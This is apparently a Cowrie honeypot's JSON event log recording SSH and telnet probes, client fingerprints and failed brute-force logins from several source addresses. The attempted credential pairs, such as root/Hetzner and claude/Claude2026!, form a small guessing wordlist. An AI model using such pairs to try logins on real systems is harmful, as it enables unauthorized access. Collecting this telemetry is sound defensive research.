{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:28.431637Z","src_ip":"80.94.92.184","session":"04437066a9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:29.808837Z","src_ip":"80.94.92.184","session":"04437066a9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:31.057448Z","src_ip":"80.94.92.184","session":"04437066a9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39374,"dst_ip":"10.17.0.5","dst_port":23,"session":"a906bc172ba1","protocol":"telnet","message":"New connection: 192.119.13.58:39374 (10.17.0.5:23) [session: a906bc172ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:34.634228Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46894,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c0b5fbeba2","protocol":"telnet","message":"New connection: 192.119.13.58:46894 (10.17.0.5:23) [session: 50c0b5fbeba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:36.489519Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57594,"dst_ip":"10.17.0.5","dst_port":22,"session":"555ebe2b91db","protocol":"ssh","message":"New connection: 167.172.81.52:57594 (10.17.0.5:22) [session: 555ebe2b91db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:37.284067Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:37.291869Z","src_ip":"167.172.81.52","session":"555ebe2b91db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:37.296954Z","src_ip":"167.172.81.52","session":"555ebe2b91db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd221c578942","protocol":"telnet","message":"New connection: 192.119.13.58:51046 (10.17.0.5:23) [session: dd221c578942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:44.351337Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b660d3a2995f","protocol":"telnet","message":"New connection: 192.119.13.58:53614 (10.17.0.5:23) [session: b660d3a2995f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:44.978558Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c518c447d79","protocol":"telnet","message":"New connection: 192.119.13.58:54920 (10.17.0.5:23) [session: 2c518c447d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:45.306484Z"}
{"eventid":"cowrie.session.closed","duration":48.9546275138855,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:50.136237Z","src_ip":"192.119.13.58","session":"f1f718251873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c5f96187c2","protocol":"telnet","message":"New connection: 192.119.13.58:53032 (10.17.0.5:23) [session: e6c5f96187c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:09:59.083264Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba06e9245d7d","protocol":"ssh","message":"New connection: 103.153.68.219:38404 (159.203.135.109:22) [session: ba06e9245d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:02.375599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:02.381234Z","src_ip":"103.153.68.219","session":"ba06e9245d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:02.631552Z","src_ip":"103.153.68.219","session":"ba06e9245d7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234rewq","message":"login attempt [root/1234rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:03.383674Z","src_ip":"103.153.68.219","session":"ba06e9245d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.2530255317688,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:03.395775Z","src_ip":"192.119.13.58","session":"13c9ecda8848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:04.636403Z","src_ip":"103.153.68.219","session":"ba06e9245d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.75562119483948,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:06.766607Z","src_ip":"192.119.13.58","session":"7ec02c70c7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":36702,"dst_ip":"159.203.135.109","dst_port":22,"session":"2668609adfbd","protocol":"ssh","message":"New connection: 193.228.128.84:36702 (159.203.135.109:22) [session: 2668609adfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:11.208821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:11.218110Z","src_ip":"193.228.128.84","session":"2668609adfbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:11.320806Z","src_ip":"193.228.128.84","session":"2668609adfbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irishka","message":"login attempt [root/irishka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:11.633244Z","src_ip":"193.228.128.84","session":"2668609adfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:12.740186Z","src_ip":"193.228.128.84","session":"2668609adfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.02434754371643,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:13.658461Z","src_ip":"192.119.13.58","session":"a906bc172ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed49e5a563ed","protocol":"telnet","message":"New connection: 192.119.13.58:42350 (10.17.0.5:23) [session: ed49e5a563ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:17.685056Z"}
{"eventid":"cowrie.session.closed","duration":42.62768745422363,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:19.117116Z","src_ip":"192.119.13.58","session":"50c0b5fbeba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc587195645","protocol":"telnet","message":"New connection: 192.119.13.58:56634 (10.17.0.5:23) [session: 1dc587195645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.256992Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":34130,"dst_ip":"10.17.0.5","dst_port":22,"session":"0138f0d9c768","protocol":"ssh","message":"New connection: 43.153.104.156:34130 (10.17.0.5:22) [session: 0138f0d9c768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.804966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.810282Z","src_ip":"43.153.104.156","session":"0138f0d9c768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.888185Z","src_ip":"43.153.104.156","session":"0138f0d9c768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":48626,"dst_ip":"159.203.135.109","dst_port":22,"session":"494619198fd0","protocol":"ssh","message":"New connection: 43.135.129.144:48626 (159.203.135.109:22) [session: 494619198fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.895246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.900125Z","src_ip":"43.135.129.144","session":"494619198fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:21.969253Z","src_ip":"43.135.129.144","session":"494619198fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:22.190155Z","src_ip":"43.153.104.156","session":"0138f0d9c768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd3505e9cb2","protocol":"telnet","message":"New connection: 192.119.13.58:60568 (10.17.0.5:23) [session: ebd3505e9cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:22.250683Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"athena","message":"login attempt [root/athena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:22.278497Z","src_ip":"43.135.129.144","session":"494619198fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:23.262730Z","src_ip":"43.153.104.156","session":"0138f0d9c768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:23.351243Z","src_ip":"43.135.129.144","session":"494619198fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43576,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c0bf520c12","protocol":"telnet","message":"New connection: 192.119.13.58:43576 (10.17.0.5:23) [session: a0c0bf520c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:24.989171Z"}
{"eventid":"cowrie.session.closed","duration":40.54482936859131,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:25.850991Z","src_ip":"192.119.13.58","session":"2c518c447d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.91937303543091,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:25.897628Z","src_ip":"192.119.13.58","session":"b660d3a2995f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59598,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe3628f574c1","protocol":"telnet","message":"New connection: 192.119.13.58:59598 (10.17.0.5:23) [session: fe3628f574c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:28.979867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"caed763cdf03","protocol":"telnet","message":"New connection: 192.119.13.58:35282 (10.17.0.5:23) [session: caed763cdf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:29.953068Z"}
{"eventid":"cowrie.session.closed","duration":47.18852353096008,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:31.539738Z","src_ip":"192.119.13.58","session":"dd221c578942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"234a4501bd8d","protocol":"ssh","message":"New connection: 43.135.182.46:46212 (159.203.135.109:22) [session: 234a4501bd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:33.719456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:33.724651Z","src_ip":"43.135.182.46","session":"234a4501bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:33.793682Z","src_ip":"43.135.182.46","session":"234a4501bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hetzner","message":"login attempt [root/Hetzner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:34.100068Z","src_ip":"43.135.182.46","session":"234a4501bd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:35.172459Z","src_ip":"43.135.182.46","session":"234a4501bd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":54400,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a3748abef6","protocol":"ssh","message":"New connection: 103.75.183.219:54400 (159.203.135.109:22) [session: 60a3748abef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:36.194550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:36.199675Z","src_ip":"103.75.183.219","session":"60a3748abef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58762,"dst_ip":"10.17.0.5","dst_port":23,"session":"b550db9a7674","protocol":"telnet","message":"New connection: 192.119.13.58:58762 (10.17.0.5:23) [session: b550db9a7674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:10:36.212660Z"}
